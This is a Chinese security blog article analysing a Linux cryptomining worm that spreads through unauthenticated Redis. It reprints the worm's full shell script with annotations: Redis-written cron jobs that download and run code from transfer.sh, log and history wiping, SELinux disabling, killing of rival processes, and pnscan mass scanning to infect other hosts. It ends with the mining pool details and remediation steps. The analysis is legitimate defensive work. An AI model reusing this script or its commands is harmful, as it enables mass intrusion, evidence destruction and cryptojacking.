freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Linux系统之Redis扩散病毒继续分析
cgf99 2018-05-23 09:00:57 650610

*本文原创作者:cgf99,本文属FreeBuf原创奖励计划,未经许可禁止转载

我们安全团队前两次分析了redis病毒和etn挖矿病毒行为,请见“利用Redis未授权访问漏洞的挖矿病毒阴魂不散”“和“Linux系统ETN挖矿病毒实例分析”两篇文章

印象中,从2017年下半年开始,感觉挖矿事件层出不穷。只要有客户的网络系统发生异常报告,基本都是从CPU发生异常开始。现在只要听到客户报告其主机系统出现异常,我们的第一反应就是,是不是又是“挖矿”啊?还真的是,到了现场一看,确实,恭喜“亲”,你又成为辛勤奉献、任劳任怨的苦力小矿工了。

一、系统环境

操作系统:Ubuntu  

内核:Linux4.4.0-57-generic x86_64

该主机对外开放两个端口,分别是22端口(SSH-2.0-OpenSSH_7.2p2)、80端口(nginx/1.4.6)。经过分析,发现80端口的日志和目录、文件基本没有异常,22端口也没有其他异常情况。

二、病毒分析

通过本地分析,发现一堆由pnscan进程发出去的6379端口网络扫描行为,判断应该是针对redis的病毒扫描程序。

另外,还有两个名为gpg的进程占用很高的CPU,并且对外有网络链接。

此外,还发现该主机竟然开放redis服务,而且绑定地址已经修改为127.0.0.1:6379。哇,小伙伴安全意识蛮到位的嘛,竟然会加固redis安全了。可是通过和客户磋商,其确实有安装redis服务,可是上面并没有跑业务数据,而且只用于学习开发,也仅仅是默认安装,并没有做任何安全设置。

好吧,看来,初步判断应该是通过redis入侵主机系统。

于是登录 redis控制台,输入keys *命令(反正没有业务系统,呵呵,不怕数据多的让你挂掉),发现创建了三个Key,分别名为Backup1、Backup2和Backup3。

其内容分别如下:

Backup1: */2 * * * * curl -shttps://transfer.sh/GoZkF/tmp.DoRh9YAdFi > .cmd && bash .cmd

Backup2: */5 * * * * wget -O .cmd https://transfer.sh/GoZkF/tmp.DoRh9YAdFi&& bash .cmd

Backup3: */10 * * * * lynx -sourcehttps://transfer.sh/15TRyl/tmp.pCnR6is0Gm > .cmd && bash .cmd

确定了,就是通过redis未授权访问漏洞入侵的系统。接下来看看具体的恶意脚本和文档,看看攻击者到底想干嘛?

1、transfer.sh文件共享

刚开始还以为transfer.sh又是攻击者申请用来干坏事的域名。呵呵,大家别笑俺孤陋寡闻,以前真不知道,没有用过transfer.sh服务。

打开其主页,发现其竟然提供的是正常的服务,该网站提供黑屏下文件共享的方式(命令行式文件分享网),经过细看,哇塞,竟然在黑屏下提供了上传、下载文件的功能,用户可直接通过命令行工具把文件上传到该网站,网站生成该文件下载连接url,可供其他用户下载。其功能还蛮强大的,根据介绍,其特征包括:命令行下使用/url共享链接/上传最大10gb/文件保存14天/免费/加密/无限次数下载等,如上图所示。哇哇,这网站tmd真是无私奉献啊,令人肃然起敬。对用户来说,提供了多少便利。知道了此网站的存在和用法,也是本次病毒分析的一大收获了,呵呵。

话说回来,对该网站最爱的应该是黑客了吧,简单,还提供了免费的域名(中转站)。命令行下直接使用,无需验证,感觉这个网站的所有者是否就是黑客出身(妄测一下),太贴合需求了。

2、脚本分析

从上述Backup里面包含的URL分别下载了tmp.DoRh9YadFi(大小4,853)和tmp.pCnR6is0Gm(大小4,783)文件,发现两个文件只有极小的差异,完成的功能是一样的。

脚本很长,很多命令都要重新去查询,去学习。原来以前都看不清所谓的“脚本小子”,其实这些在LINUX下写脚本的人真的是太聪明了,很震撼。不过脚本太复杂了,有些地方考虑还是不周,不如权限的问题、下载的问题、还有pnscan病毒扫描程序的编译问题等,如果有任何一步出现问题,整个功能就大打折扣了。在实际测试中,我们发现关是利用yum/apt-get下载相应的库和包就需要漫长的时间,下载的东西太多了,作者想的真全面啊。

具体的内容和解释如下,如果有些解释不到位的地方望大家指正,#后面是自己加的注释。

#休眠一秒

sleep 1

#当前目录下查找60分钟之前修改过的名为.mxff0的普通文件,并删除

find . -maxdepth 1 -name".mxff0" -type f -mmin +60 -delete

[ -f .mxff0 ] && exit 0

#创建 .mxff0文件

echo 0 > .mxff0

#删除文件

trap "rm -rf .m* .cmd tmp.* .r .dat$0" EXIT

#临时关闭防火墙,关闭输出

setenforce 0 2>/dev/null

#关闭selinux

echo SELINUX=disabled >/etc/sysconfig/selinux 2>/dev/null

#清除当前cron定时任务

crontab -r 2>/dev/null

#删除/var/spool/cron

rm -rf /var/spool/cron 2>/dev/null

//设置dns解析为8.8.8.8

grep -q 8.8.8.8 /etc/resolv.conf || echo"nameserver 8.8.8.8" >> /etc/resolv.conf

#删除/tmp,/var/tmp下文件和/etc/root.sh

rm -rf /tmp/* 2>/dev/null

rm -rf /var/tmp/* 2>/dev/null

rm -rf /etc/root.sh 2>/dev/null

sync && echo 3 >/proc/sys/vm/drop_caches

#修改/etc/security/limits.conf文件,limits.conf文件限制着用户可以使用的最大文件数,最大线程,最大内存等资源使用量

cat <<EOF> /etc/security/limits.conf

*        hard    nofile      100000

*        soft    nofile      100000

root     hard    nofile      100000

root     soft    nofile      100000

*        hard    nproc       100000

*        soft    nproc       100000

root     hard    nproc       100000

root     soft    nproc       100000

EOF

#防火墙修改redis只让本机访问

iptables -I INPUT 1 -p tcp --dport 6379-j DROP

iptables -I INPUT 1 -p tcp --dport 6379-s 127.0.0.1 -j ACCEPT

#杀掉包含下列字符串的进程,好疯狂。

ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init"|    while read pid _; do kill -9 "$pid"; done

#又删除/tmp和/var/tmp下的文件

rm -rf /tmp/* 2>/dev/null

rm -rf /var/tmp/* 2>/dev/null

#清除登录日志、历史记录

echo 0 > /var/spool/mail/root

echo 0 > /var/log/wtmp

echo 0 > /var/log/secure

echo 0 > /root/.bash_history

#下载安装相应的库和软件包

YUM_PACKAGE_NAME="iptables gccredis coreutils bash curl wget"

DEB_PACKAGE_NAME="coreutils bashbuild-essential make gcc redis-server redis-tools redis iptables curl"

#如果是CentOS系统,用yum下载安装

if cat /etc/*release | grep -i CentOS;then

yum clean all

yum install -y -q epel-release

yum install -y -q $YUM_PACKAGE_NAME

#如果是Redhat系统,用yum下载安装

elif cat /etc/*release | grep -qi Red;then

yum clean all

yum install -y -q epel-release

yum install -y -q $YUM_PACKAGE_NAME

#如果是Fedora系统,用yum下载安装

elif cat /etc/*release | grep -qiFedora; then

yum clean all

yum install -y -q epel-release

yum install -y -q $YUM_PACKAGE_NAME

#如果是Ubuntu系统,用apt下载安装

elif cat /etc/*release | grep -qiUbuntu; then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update -q --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

#如果是Debian系统,用apt下载安装

elif cat /etc/*release | grep -qiDebian; then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

#如果是Mint系统,用apt下载安装(Linux Mint由Linux MintTeam团队于2006年开始发行,是一份基于Debian和Ubuntu的Linux发行版)

elif cat /etc/*release | grep -qi Mint;then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

#如果是Knoppix系统,用apt下载安装(KNOPPIX是一个linux发行版,基于debian,功能包括:自动硬件监测、支持常见的显卡、声卡、SCSI和USB设备,以及其它外设)

elif cat /etc/*release | grep -qiKnoppix; then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

else

exit 1

fi

sleep 1

#如果本地不存在pnscan,则去下载

if ! ( [ -x /usr/local/bin/pnscan ] || [-x /usr/bin/pnscan ] ); then

curl -kLshttps://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q-O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12

sleep 1

#解压、编译、安装pnscan

[ -f .x112 ] && tar xf .x112&& cd pnscan-1.12 && make lnx && make install&& cd .. && rm -rf pnscan-1.12 .x112

fi

tname=$( mktemp )

#从transfer.sh下载tmp.Woq2ONMx8z文件

OMURL=https://transfer.sh/lBphf/tmp.Woq2ONMx8z

curl -s $OMURL > $tname || wget -q -O$tname $OMURL

NMURL=$( curl -s --upload-file $tnamehttps://transfer.sh )

#文件改名、增加执行属性、运行后删除(进程为.gpg)

mv $tname .gpg && chmod +x .gpg&& ./.gpg && rm -rf .gpg

[ -z "$NMURL" ] &&NMURL=$OMURL

ncmd=$(basename $(mktemp))

sed 's|'"$OMURL"'|'"$NMURL"'|g'< .cmd > $ncmd

NSURL=$( curl -s --upload-file $ncmdhttps://transfer.sh )

#对redis进行操作,添加定时任务

echo 'flushall' > .dat

echo 'config set dir /var/spool/cron'>> .dat

echo 'config set dbfilename root'>> .dat

echo 'set Backup1 "\t\n*/2 * * * * curl-s '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat

echo 'set Backup2 "\t\n*/5 * * * *wget -O .cmd '${NSURL}' && bash .cmd\n\t"' >> .dat

echo 'set Backup3 "\t\n*/10 * * * *lynx -source '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat

echo 'save' >> .dat

echo 'config set dir/var/spool/cron/crontabs' >> .dat

echo 'save' >> .dat

echo 'exit' >> .dat

#利用pnscan进行病毒扩散

pnx=pnscan

[ -x /usr/local/bin/pnscan ] &&pnx=/usr/local/bin/pnscan

[ -x /usr/bin/pnscan ] &&pnx=/usr/bin/pnscan

#写入IP地址文件到.ran

for x in $( seq 1 224 | sort -R ); do

for y in $( seq 0 255 | sort -R ); do

printf '%s.%s.0.0/16\n' $x $y >>.ran

done

done

for ran in $( sort -R .ran ); do

#循环扫描 Redis服务器(目标针对linux)

#pnscan –t512 –R os:Linux –W ‘*1\r\n$4\r\ninfo\r\n’IP 6379

$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78'-W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' "$ran" 6379 >.r.$x.$y.o

awk '/Linux/ {print $1, $3}' .r.$x.$y.o> .r.$x.$y.l

while read -r h p; do

#如果成果扫到redis服务器,就利用redis-cli客户端写入.dat内容完成病毒感染

cat .dat | redis-cli -h $h -p $p --raw&

done < .r.$x.$y.l

done

done

#再次清除日志记录、登录历史等

echo 0 > /var/spool/mail/root2>/dev/null

echo 0 > /var/log/wtmp 2>/dev/null

echo 0 > /var/log/secure2>/dev/null

echo 0 > /root/.bash_history2>/dev/null

exit 0

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

上述脚本中,刚开始有些地方还是没有弄清楚。

(1)比如作者会在目标机器中下载并安装redis,如果说安装redis客户端还情有可原,毕竟利用pnscan扫描程序的时候,如果有扫描到空口令的redis服务器,是利用redis-cli去连接并执行命令的。可是为什么每台主机还要安装redis-server呢?难道安装redis-cli必须安装server?

经过全程分析,最后明白了,作者是禁止了原主机的redis:0.0.0.0:6379端口访问,重新安装了一个redis服务并只绑定127.0.0.1:6379端口,从而防止被别的恶意软件再次侵袭。可是万一机器主人本来是用来可以内部局域网访问的咋整呢?唉。

3、进程.gpy分析

gpy进程发出的链接如下图所示: 

直接用编辑软件打开发现其是xmrig的挖矿软件(最简单的就是用文本编辑可以查找到xmrig字符串)。作者对xmrig代码进行了修改并重新编译。加参数—version运行,结果如下图所示:

加参数 –help命令执行。其界面如下图所示,是典型的xmrig挖矿的界面,只不过作者把文件名修改成了svshost。

实际运行的gyp进程没有带任何参数,而我们知道xmrig软件是带参数运行的(要么命令行直接加参数,或者命令行指定参数文件)。那么参数在哪呢?按常理,肯定是作者直接在程序里面写死了。

于是我们直接调用IDA对其进行反编译,找到作者的参数如下图所示(实际代码中,作者还是把字符串分成一个一个字符的形式):

 

其中,连接的矿池地址是:jb.chakpools.com:443

钱包地址为:

N9emUy6baNTbNwFzZmjzzg7bntSr6TFYRiJy6oXuosHhQZamMFZXzpYENJcdXvC5cwN8oqCrXJ4YYgWRgBNXZk6a33wT7os

占用CPU最大:50%(还蛮人性的,呵呵)

域名和IP查询

其中,jb.chakpools.com的IP地址是159.203.182.176,位于美国。

IP查询如下图所示:

域名信息查询如下如下图所示:

BS是巴哈马群岛。

猜测该矿池应该是个小矿池或者是一个矿池代理。由于chakpools.com不知道如何查询其挖矿情况,希望知道的朋友多指教。

三、应对措施

1、 重新安装redis(千万不要赋予root权限)服务,根据客户实际需要对特定IP开放端口(利用防火墙设置,尤其是必须对外(公网)提供服务的情况下),如果只是本机使用,绑定127.0.0.1:6379 ,增加认证口令。

2、 清除定时任务

3、 杀掉进程、删除实体

*本文原创作者:cgf99,本文属FreeBuf原创奖励计划,未经许可禁止转载

# linux # Redis
本文为 cgf99 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
bot
cgf99 LV.5
这家伙太懒了,还未填写个人描述!
  • 22 文章数
  • 27 关注者
一封钓鱼欺骗邮件分析,看看到底是谁在偷偷的关注你
2023-04-24
一封RTF攻击邮件分析,CVE-2017-11882 NDAY真耐用
2023-04-07
一封伪造电子发票的邮件攻击事件分析
2023-04-06
文章目录